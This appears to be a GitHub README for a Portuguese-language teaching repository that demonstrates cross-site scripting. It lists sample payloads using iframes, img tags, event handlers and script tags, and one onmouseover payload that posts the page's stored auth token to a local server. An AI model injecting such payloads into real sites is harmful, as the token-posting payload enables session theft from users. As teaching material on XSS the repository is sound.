Skip to content

Latest commit

 

History

History
27 lines (18 loc) · 896 Bytes

README.md

File metadata and controls

27 lines (18 loc) · 896 Bytes

XSS-Exemplo

Exemplo de funmcionamento do ataque XSS

Video explicando os conceitos

Watch the video

Iframe

<iframe src="https://www.cristianoprogramador.com/">

Img

<img src="1https://www.cristianoprogramador.com/img/profile.jpg">

Button

<button onclick="Alert Hackeado">Click me</button>

On mouse over

<div onmouseover="alert('injetado!')" style="width:100vw; height: 100vh; color:transparent"> </div>

Script

<script>alert('123')</script>

Request HTTP

<div onmouseover="axios.post('http://localhost:3001/', {}, {headers:{Authorization:localStorage['token']} }).then((result)=>{})" style="width:100vw; height: 100vh; color:transparent"></div>

Outros exeplos de como fazer esse ataque

XSS Payload List